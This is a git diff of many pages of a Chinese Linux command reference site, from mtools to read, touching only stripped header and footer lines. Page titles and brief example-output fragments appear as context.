命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -125,7 +125,7 @@ Average: all 9.27 - - + + \ No newline at end of file diff --git a/c/mtools.html b/c/mtools.html index c84a007f8e..87f07e4127 100644 --- a/c/mtools.html +++ b/c/mtools.html @@ -10,7 +10,7 @@ mtools 命令,Linux mtools 命令详解:显示mtools支持的指令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ mwrite, mzip - - + + \ No newline at end of file diff --git a/c/mv.html b/c/mv.html index 2c1d70ad11..e74b773c88 100644 --- a/c/mv.html +++ b/c/mv.html @@ -10,7 +10,7 @@ mv 命令,Linux mv 命令详解:用来对文件或目录重新命名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -129,7 +129,7 @@ - - + + \ No newline at end of file diff --git a/c/mysql.html b/c/mysql.html index 0a1bb92455..4b3d2cee40 100644 --- a/c/mysql.html +++ b/c/mysql.html @@ -10,7 +10,7 @@ mysql 命令,Linux mysql 命令详解:MySQL服务器客户端工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/mysqladmin.html b/c/mysqladmin.html index 22927dd801..41bb1c55c8 100644 --- a/c/mysqladmin.html +++ b/c/mysqladmin.html @@ -10,7 +10,7 @@ mysqladmin 命令,Linux mysqladmin 命令详解:MySQL服务器管理客户端 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -97,7 +97,7 @@ version:得到服务器的版本信息。 - - + + \ No newline at end of file diff --git a/c/mysqldump.html b/c/mysqldump.html index 06496e6b47..d3278d142e 100644 --- a/c/mysqldump.html +++ b/c/mysqldump.html @@ -10,7 +10,7 @@ mysqldump 命令,Linux mysqldump 命令详解:MySQL数据库中备份工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -101,7 +101,7 @@ mysqldump -u linuxde -p smgp_apps_linuxde users - - + + \ No newline at end of file diff --git a/c/mysqlimport.html b/c/mysqlimport.html index 9fca6516fc..6bb2631e70 100644 --- a/c/mysqlimport.html +++ b/c/mysqlimport.html @@ -10,7 +10,7 @@ mysqlimport 命令,Linux mysqlimport 命令详解:为MySQL服务器用命令行方式导入数据 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/mysqlshow.html b/c/mysqlshow.html index 635136a801..04aa5f18bd 100644 --- a/c/mysqlshow.html +++ b/c/mysqlshow.html @@ -10,7 +10,7 @@ mysqlshow 命令,Linux mysqlshow 命令详解:显示MySQL中数据库相关信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -81,7 +81,7 @@ - - + + \ No newline at end of file diff --git a/c/named-checkzone.html b/c/named-checkzone.html index 051cec67d2..f6b7631e0b 100644 --- a/c/named-checkzone.html +++ b/c/named-checkzone.html @@ -10,7 +10,7 @@ named-checkzone 命令,Linux named-checkzone 命令详解:使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ OK - - + + \ No newline at end of file diff --git a/c/nano.html b/c/nano.html index e529e0e388..5a0887dc78 100644 --- a/c/nano.html +++ b/c/nano.html @@ -10,7 +10,7 @@ nano 命令,Linux nano 命令详解:字符终端文本编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -140,7 +140,7 @@ - - + + \ No newline at end of file diff --git a/c/nc.html b/c/nc.html index 6e97b6e4d0..75e0a69290 100644 --- a/c/nc.html +++ b/c/nc.html @@ -10,7 +10,7 @@ nc 命令,Linux nc 命令详解:用于设置路由器,是网络工具中的瑞士军刀 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -110,7 +110,7 @@ y //用户输入 - - + + \ No newline at end of file diff --git a/c/ncftp.html b/c/ncftp.html index a69ae5455e..fe237d647e 100644 --- a/c/ncftp.html +++ b/c/ncftp.html @@ -10,7 +10,7 @@ ncftp 命令,Linux ncftp 命令详解:是增强的的FTP工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -103,7 +103,7 @@ - - + + \ No newline at end of file diff --git a/c/nethogs.html b/c/nethogs.html index 12a684763f..ac5f3644d8 100644 --- a/c/nethogs.html +++ b/c/nethogs.html @@ -10,7 +10,7 @@ nethogs 命令,Linux nethogs 命令详解:终端下的网络流量监控工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -148,7 +148,7 @@ - - + + \ No newline at end of file diff --git a/c/netstat.html b/c/netstat.html index 21047c0dfc..3aa4baba40 100644 --- a/c/netstat.html +++ b/c/netstat.html @@ -10,7 +10,7 @@ netstat 命令,Linux netstat 命令详解:查看Linux中网络系统状态信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -223,7 +223,7 @@ netstat: no support for `AF NETROM' on this s - - + + \ No newline at end of file diff --git a/c/newusers.html b/c/newusers.html index 0429d66dd1..fb4f140e71 100644 --- a/c/newusers.html +++ b/c/newusers.html @@ -10,7 +10,7 @@ newusers 命令,Linux newusers 命令详解:用于批处理的方式一次创建多个命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -94,7 +94,7 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin - - + + \ No newline at end of file diff --git a/c/nfsstat.html b/c/nfsstat.html index 0a1b86815e..fa16728fed 100644 --- a/c/nfsstat.html +++ b/c/nfsstat.html @@ -10,7 +10,7 @@ nfsstat 命令,Linux nfsstat 命令详解:列出NFS客户端和服务器的工作状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ - - + + \ No newline at end of file diff --git a/c/ngrep.html b/c/ngrep.html index e669a44fc0..9125775c6a 100644 --- a/c/ngrep.html +++ b/c/ngrep.html @@ -10,7 +10,7 @@ ngrep 命令,Linux ngrep 命令详解:方便的数据包匹配和显示工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -159,7 +159,7 @@ yi7E53UBOcv4V. - - + + \ No newline at end of file diff --git a/c/nice.html b/c/nice.html index c3c0e8ce48..ece9eec699 100644 --- a/c/nice.html +++ b/c/nice.html @@ -10,7 +10,7 @@ nice 命令,Linux nice 命令详解:改变程序执行的优先权等级 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/nisdomainname.html b/c/nisdomainname.html index 92b8223edb..036fb0c175 100644 --- a/c/nisdomainname.html +++ b/c/nisdomainname.html @@ -10,7 +10,7 @@ nisdomainname 命令,Linux nisdomainname 命令详解:显示主机NIS的域名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -73,7 +73,7 @@ - - + + \ No newline at end of file diff --git a/c/nl.html b/c/nl.html index e638ec133a..5756590e21 100644 --- a/c/nl.html +++ b/c/nl.html @@ -10,7 +10,7 @@ nl 命令,Linux nl 命令详解:为每一个文件添加行号。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -182,8 +182,8 @@ ZhuangZhu-74 - - + + nl_normal.txt ZhuangZhu-74 @@ -222,7 +222,7 @@ var _hmt = _hmt || []; (function() {var hm = document.createElement("script"); h - - + + \ No newline at end of file diff --git a/c/nm.html b/c/nm.html index 56e6fdca59..a515da219b 100644 --- a/c/nm.html +++ b/c/nm.html @@ -10,7 +10,7 @@ nm 命令,Linux nm 命令详解:显示二进制目标文件的符号表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/nmap.html b/c/nmap.html index fab1b9938c..3f88fee958 100644 --- a/c/nmap.html +++ b/c/nmap.html @@ -10,7 +10,7 @@ nmap 命令,Linux nmap 命令详解:网络探测和安全审核 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -114,7 +114,7 @@ Nmap finished: 1 IP address - - + + \ No newline at end of file diff --git a/c/nmcli.html b/c/nmcli.html index 573c8086de..f791f3285d 100644 --- a/c/nmcli.html +++ b/c/nmcli.html @@ -10,7 +10,7 @@ nmcli 命令,Linux nmcli 命令详解:地址配置工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -104,7 +104,7 @@ nmcli con add - - + + \ No newline at end of file diff --git a/c/nohup.html b/c/nohup.html index 45f062b173..1da936bd19 100644 --- a/c/nohup.html +++ b/c/nohup.html @@ -10,7 +10,7 @@ nohup 命令,Linux nohup 命令详解:将程序以忽略挂起信号的方式运行起来 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ - - + + \ No newline at end of file diff --git a/c/nologin.html b/c/nologin.html index a97b87e53b..189d003f9d 100644 --- a/c/nologin.html +++ b/c/nologin.html @@ -10,7 +10,7 @@ nologin 命令,Linux nologin 命令详解:拒绝用户登录系统 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ - - + + \ No newline at end of file diff --git a/c/nproc.html b/c/nproc.html index b38739844a..b40bd8b5b6 100644 --- a/c/nproc.html +++ b/c/nproc.html @@ -10,7 +10,7 @@ nproc 命令,Linux nproc 命令详解:打印可用的处理器单元数量。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/nslookup.html b/c/nslookup.html index c55bb263dd..047be7abf0 100644 --- a/c/nslookup.html +++ b/c/nslookup.html @@ -10,7 +10,7 @@ nslookup 命令,Linux nslookup 命令详解:查询域名DNS信息的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ Address: 100.42.212.8 - - + + \ No newline at end of file diff --git a/c/ntpdate.html b/c/ntpdate.html index f11c9e7e71..faa2d2ff74 100644 --- a/c/ntpdate.html +++ b/c/ntpdate.html @@ -10,7 +10,7 @@ ntpdate 命令,Linux ntpdate 命令详解:使用网络计时协议(NTP)设置日期和时间 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -123,7 +123,7 @@ - - + + \ No newline at end of file diff --git a/c/ntsysv.html b/c/ntsysv.html index 19b0ce9222..b36027ec0f 100644 --- a/c/ntsysv.html +++ b/c/ntsysv.html @@ -10,7 +10,7 @@ ntsysv 命令,Linux ntsysv 命令详解:集中管理系统的各种服务 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/objdump.html b/c/objdump.html index ee69631069..8af9bd1e82 100644 --- a/c/objdump.html +++ b/c/objdump.html @@ -10,7 +10,7 @@ objdump 命令,Linux objdump 命令详解:显示二进制文件信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -483,7 +483,7 @@ Idx Name Size VMA LMA File off Algn - - + + \ No newline at end of file diff --git a/c/od.html b/c/od.html index 752cfd60c8..969e1c86a7 100644 --- a/c/od.html +++ b/c/od.html @@ -10,7 +10,7 @@ od 命令,Linux od 命令详解:输出文件的八进制、十六进制等格式编码的字节 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -164,7 +164,7 @@ abcdef g - - + + \ No newline at end of file diff --git a/c/openssl.html b/c/openssl.html index beb296bfbf..619aad67c3 100644 --- a/c/openssl.html +++ b/c/openssl.html @@ -10,7 +10,7 @@ openssl 命令,Linux openssl 命令详解:强大的安全套接字层密码库 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -180,7 +180,7 @@ openssl rsa -text -in fd.key - - + + \ No newline at end of file diff --git a/c/parted.html b/c/parted.html index 30ed6e89cd..305a3043b4 100644 --- a/c/parted.html +++ b/c/parted.html @@ -10,7 +10,7 @@ parted 命令,Linux parted 命令详解:磁盘分区和分区大小调整工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -173,7 +173,7 @@ none 252M 0 252M - - + + \ No newline at end of file diff --git a/c/partprobe.html b/c/partprobe.html index cd0357c17f..3f50a5ede4 100644 --- a/c/partprobe.html +++ b/c/partprobe.html @@ -10,7 +10,7 @@ partprobe 命令,Linux partprobe 命令详解:不重启的情况下重读分区 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -184,7 +184,7 @@ tmpfs 2023936 - - + + \ No newline at end of file diff --git a/c/passwd.html b/c/passwd.html index cc1dcec364..80b1451a03 100644 --- a/c/passwd.html +++ b/c/passwd.html @@ -10,7 +10,7 @@ passwd 命令,Linux passwd 命令详解:用于让用户可以更改自己的密码 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -148,7 +148,7 @@ Empty password. # 空密码 - - + + \ No newline at end of file diff --git a/c/paste.html b/c/paste.html index af8499e4d2..85b1566cf9 100644 --- a/c/paste.html +++ b/c/paste.html @@ -10,7 +10,7 @@ paste 命令,Linux paste 命令详解:将多个文件按列队列合并 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/patch.html b/c/patch.html index 1389821224..c180373158 100644 --- a/c/patch.html +++ b/c/patch.html @@ -10,7 +10,7 @@ patch 命令,Linux patch 命令详解:为开放源代码软件安装补丁程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -109,7 +109,7 @@ - - + + \ No newline at end of file diff --git a/c/pathchk.html b/c/pathchk.html index 14104a74ab..efff237b79 100644 --- a/c/pathchk.html +++ b/c/pathchk.html @@ -10,7 +10,7 @@ pathchk 命令,Linux pathchk 命令详解:检查文件中不可移植的部分 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/perl.html b/c/perl.html index 4c15bacdaa..9d76c5a845 100644 --- a/c/perl.html +++ b/c/perl.html @@ -10,7 +10,7 @@ perl 命令,Linux perl 命令详解:perl语言解释器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/pfctl.html b/c/pfctl.html index 9b53cb3c0f..53d1c65daf 100644 --- a/c/pfctl.html +++ b/c/pfctl.html @@ -10,7 +10,7 @@ pfctl 命令,Linux pfctl 命令详解:PF防火墙的配置命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -105,7 +105,7 @@ pfctl -sa # 显示任何可显示的 - - + + \ No newline at end of file diff --git a/c/pgrep.html b/c/pgrep.html index 16f3e7bed1..2b20f4af2f 100644 --- a/c/pgrep.html +++ b/c/pgrep.html @@ -10,7 +10,7 @@ pgrep 命令,Linux pgrep 命令详解:根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID) - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -106,7 +106,7 @@ - - + + \ No newline at end of file diff --git a/c/php.html b/c/php.html index bbc574176e..ceff3e1274 100644 --- a/c/php.html +++ b/c/php.html @@ -10,7 +10,7 @@ php 命令,Linux php 命令详解:PHP语言的命令行接口 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/pico.html b/c/pico.html index 0e7fd6920e..4514ec6a1f 100644 --- a/c/pico.html +++ b/c/pico.html @@ -10,7 +10,7 @@ pico 命令,Linux pico 命令详解:功能强大全屏幕的文本编辑器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -107,7 +107,7 @@ Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。 - - + + \ No newline at end of file diff --git a/c/pidof.html b/c/pidof.html index 303edb4ebf..446fc8f94f 100644 --- a/c/pidof.html +++ b/c/pidof.html @@ -10,7 +10,7 @@ pidof 命令,Linux pidof 命令详解:查找指定名称的进程的进程号ID号 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ pidof init - - + + \ No newline at end of file diff --git a/c/pigz.html b/c/pigz.html index a9fd31e0e0..ed504300ea 100644 --- a/c/pigz.html +++ b/c/pigz.html @@ -10,7 +10,7 @@ pigz 命令,Linux pigz 命令详解:可以用来解压缩文件,gzip的并行实现升级版 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -113,7 +113,7 @@ unpigz [ -cfhikKlLmMnNqrRtz - - + + \ No newline at end of file diff --git a/c/ping.html b/c/ping.html index d1de932cb2..38d728f99b 100644 --- a/c/ping.html +++ b/c/ping.html @@ -10,7 +10,7 @@ ping 命令,Linux ping 命令详解:测试主机之间网络的连通性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -101,7 +101,7 @@ rtt min/avg/max/mdev = - - + + \ No newline at end of file diff --git a/c/pkill.html b/c/pkill.html index 03f3ac0fc3..65e16a41c5 100644 --- a/c/pkill.html +++ b/c/pkill.html @@ -10,7 +10,7 @@ pkill 命令,Linux pkill 命令详解:可以按照进程名杀死进程 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/pmap.html b/c/pmap.html index f994f1f701..44c572ec85 100644 --- a/c/pmap.html +++ b/c/pmap.html @@ -10,7 +10,7 @@ pmap 命令,Linux pmap 命令详解:报告进程的内存映射关系 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -169,7 +169,7 @@ total kB 72880 - - + + \ No newline at end of file diff --git a/c/popd.html b/c/popd.html index 18b05d684c..d72d577aec 100644 --- a/c/popd.html +++ b/c/popd.html @@ -10,7 +10,7 @@ popd 命令,Linux popd 命令详解:从目录堆栈中删除目录。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -124,7 +124,7 @@ - - + + \ No newline at end of file diff --git a/c/poweroff.html b/c/poweroff.html index 0fa7ec0de0..8c70d1c095 100644 --- a/c/poweroff.html +++ b/c/poweroff.html @@ -10,7 +10,7 @@ poweroff 命令,Linux poweroff 命令详解:关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ - - + + \ No newline at end of file diff --git a/c/ppp-off.html b/c/ppp-off.html index 7be56eafd4..04143c3982 100644 --- a/c/ppp-off.html +++ b/c/ppp-off.html @@ -10,7 +10,7 @@ ppp-off 命令,Linux ppp-off 命令详解:关闭ppp连线 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -70,7 +70,7 @@ - - + + \ No newline at end of file diff --git a/c/pr.html b/c/pr.html index b60721c8c2..07138a22d1 100644 --- a/c/pr.html +++ b/c/pr.html @@ -10,7 +10,7 @@ pr 命令,Linux pr 命令详解:将文本文件转换成适合打印的格式 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/printf.html b/c/printf.html index 676a73f6a9..4b6cb3ddc5 100644 --- a/c/printf.html +++ b/c/printf.html @@ -10,7 +10,7 @@ printf 命令,Linux printf 命令详解:格式化并输出结果。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -218,7 +218,7 @@ value1 - - + + \ No newline at end of file diff --git a/c/protoize.html b/c/protoize.html index faf51c0589..0209872c98 100644 --- a/c/protoize.html +++ b/c/protoize.html @@ -10,7 +10,7 @@ protoize 命令,Linux protoize 命令详解:GNU-C代码转换为ANSI-C代码 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/ps.html b/c/ps.html index 725aa05ee1..7207a913db 100644 --- a/c/ps.html +++ b/c/ps.html @@ -10,7 +10,7 @@ ps 命令,Linux ps 命令详解:报告当前系统的进程状态 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -224,7 +224,7 @@ X:采用旧式的Linux i386登陆格式显示程序状况。 - - + + \ No newline at end of file diff --git a/c/pssh.html b/c/pssh.html index dc85438257..8f5791259a 100644 --- a/c/pssh.html +++ b/c/pssh.html @@ -10,7 +10,7 @@ pssh 命令,Linux pssh 命令详解:批量管理执行 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -137,7 +137,7 @@ python setup.py install - - + + \ No newline at end of file diff --git a/c/pstack.html b/c/pstack.html index b8ad3ed749..18da29f375 100644 --- a/c/pstack.html +++ b/c/pstack.html @@ -10,7 +10,7 @@ pstack 命令,Linux pstack 命令详解:显示每个进程的栈跟踪 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -145,7 +145,7 @@ Thread 1 ( - - + + \ No newline at end of file diff --git a/c/pstree.html b/c/pstree.html index c9e3c34e1f..c15efb8ed7 100644 --- a/c/pstree.html +++ b/c/pstree.html @@ -10,7 +10,7 @@ pstree 命令,Linux pstree 命令详解:以树状图的方式展现进程之间的派生关系 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -97,7 +97,7 @@ - - + + \ No newline at end of file diff --git a/c/pushd.html b/c/pushd.html index b6b3608698..0ab2853375 100644 --- a/c/pushd.html +++ b/c/pushd.html @@ -10,7 +10,7 @@ pushd 命令,Linux pushd 命令详解:将目录添加到目录堆栈顶部。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -123,7 +123,7 @@ - - + + \ No newline at end of file diff --git a/c/pv.html b/c/pv.html index f3aa196374..4803158852 100644 --- a/c/pv.html +++ b/c/pv.html @@ -10,7 +10,7 @@ pv 命令,Linux pv 命令详解:显示当前在命令行执行的命令的进度信息,管道查看器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -150,7 +150,7 @@ source: 5.2GiB 5 - - + + \ No newline at end of file diff --git a/c/pvchange.html b/c/pvchange.html index 236c67cfde..1fbe78999a 100644 --- a/c/pvchange.html +++ b/c/pvchange.html @@ -10,7 +10,7 @@ pvchange 命令,Linux pvchange 命令详解:修改物理卷属性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ - - + + \ No newline at end of file diff --git a/c/pvck.html b/c/pvck.html index 87c6b7e6dd..1b85e716d4 100644 --- a/c/pvck.html +++ b/c/pvck.html @@ -10,7 +10,7 @@ pvck 命令,Linux pvck 命令详解:检测物理卷的LVM元数据的一致性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ Found LVM2 metadata record at offset
- - + + \ No newline at end of file diff --git a/c/pvcreate.html b/c/pvcreate.html index a7f2661123..e788b2e54c 100644 --- a/c/pvcreate.html +++ b/c/pvcreate.html @@ -10,7 +10,7 @@ pvcreate 命令,Linux pvcreate 命令详解:将物理硬盘分区初始化为物理卷 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -139,7 +139,7 @@ Physical volume "/dev/sdb1" changed - - + + \ No newline at end of file diff --git a/c/pvdisplay.html b/c/pvdisplay.html index 07a967c32a..308d3e6643 100644 --- a/c/pvdisplay.html +++ b/c/pvdisplay.html @@ -10,7 +10,7 @@ pvdisplay 命令,Linux pvdisplay 命令详解:显示物理卷的属性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -87,7 +87,7 @@ PV UUID FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN - - + + \ No newline at end of file diff --git a/c/pvremove.html b/c/pvremove.html index e182dedbbd..94ff3faf30 100644 --- a/c/pvremove.html +++ b/c/pvremove.html @@ -10,7 +10,7 @@ pvremove 命令,Linux pvremove 命令详解:删除一个存在的物理卷 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -82,7 +82,7 @@ Labels on physical volume "/dev/sdb2" suc - - + + \ No newline at end of file diff --git a/c/pvs.html b/c/pvs.html index 66d2408a81..f1c62ca5b3 100644 --- a/c/pvs.html +++ b/c/pvs.html @@ -10,7 +10,7 @@ pvs 命令,Linux pvs 命令详解:输出物理卷信息报表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/pvscan.html b/c/pvscan.html index cd5f38a5ca..ed370979a4 100644 --- a/c/pvscan.html +++ b/c/pvscan.html @@ -10,7 +10,7 @@ pvscan 命令,Linux pvscan 命令详解:扫描系统中所有硬盘的物理卷列表 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ MB] - - + + \ No newline at end of file diff --git a/c/pwck.html b/c/pwck.html index 5c29133594..586b7e12ae 100644 --- a/c/pwck.html +++ b/c/pwck.html @@ -10,7 +10,7 @@ pwck 命令,Linux pwck 命令详解:用来验证系统认证文件内容和格式的完整性 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -100,7 +100,7 @@ pwck:无改变 - - + + \ No newline at end of file diff --git a/c/pwconv.html b/c/pwconv.html index 9ee2b6c9de..dda29dff4c 100644 --- a/c/pwconv.html +++ b/c/pwconv.html @@ -10,7 +10,7 @@ pwconv 命令,Linux pwconv 命令详解:用来开启用户的投影密码 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ test:$6$nYOEWam - - + + \ No newline at end of file diff --git a/c/pwd.html b/c/pwd.html index 3e7086a4d4..1c41c9036a 100644 --- a/c/pwd.html +++ b/c/pwd.html @@ -10,7 +10,7 @@ pwd 命令,Linux pwd 命令详解:显示当前工作目录的绝对路径。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -110,7 +110,7 @@ - - + + \ No newline at end of file diff --git a/c/pwunconv.html b/c/pwunconv.html index 68585d0ce2..97595472f0 100644 --- a/c/pwunconv.html +++ b/c/pwunconv.html @@ -10,7 +10,7 @@ pwunconv 命令,Linux pwunconv 命令详解:用来关闭用户的投影密码 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ ls: cannot access /etc/shadow: No such file - - + + \ No newline at end of file diff --git a/c/quota.html b/c/quota.html index de602ffe89..234660fb99 100644 --- a/c/quota.html +++ b/c/quota.html @@ -10,7 +10,7 @@ quota 命令,Linux quota 命令详解:显示磁盘已使用的空间与限制 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -164,7 +164,7 @@ Disk quotas for group qgroup - - + + \ No newline at end of file diff --git a/c/quotacheck.html b/c/quotacheck.html index 6a62c1216c..26bac2ae9c 100644 --- a/c/quotacheck.html +++ b/c/quotacheck.html @@ -10,7 +10,7 @@ quotacheck 命令,Linux quotacheck 命令详解:检查磁盘的使用空间与限制 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -97,7 +97,7 @@ quotacheck: Checked 3 directories and - - + + \ No newline at end of file diff --git a/c/quotaoff.html b/c/quotaoff.html index d98e761d42..24b80af6db 100644 --- a/c/quotaoff.html +++ b/c/quotaoff.html @@ -10,7 +10,7 @@ quotaoff 命令,Linux quotaoff 命令详解:关闭Linux内核中指定文件系统的磁盘配额功能 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/quotaon.html b/c/quotaon.html index d9539ee6ba..0517954df8 100644 --- a/c/quotaon.html +++ b/c/quotaon.html @@ -10,7 +10,7 @@ quotaon 命令,Linux quotaon 命令详解:激活Linux内核中指定文件系统的磁盘配额功能 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -78,7 +78,7 @@ - - + + \ No newline at end of file diff --git a/c/rcconf.html b/c/rcconf.html index b6fd1f601e..ccdda9bfcd 100644 --- a/c/rcconf.html +++ b/c/rcconf.html @@ -10,7 +10,7 @@ rcconf 命令,Linux rcconf 命令详解:Debian Linux下的运行等级服务配置工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/rcp.html b/c/rcp.html index a54c0797f3..41349ef7a1 100644 --- a/c/rcp.html +++ b/c/rcp.html @@ -10,7 +10,7 @@ rcp 命令,Linux rcp 命令详解:使在两台Linux主机之间的文件复制操作更简单 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -127,7 +127,7 @@ - - + + \ No newline at end of file diff --git a/c/read.html b/c/read.html index ec462f30db..afa5b4aa43 100644 --- a/c/read.html +++ b/c/read.html @@ -10,7 +10,7 @@ read 命令,Linux read 命令详解:从键盘读取变量值 - Linux 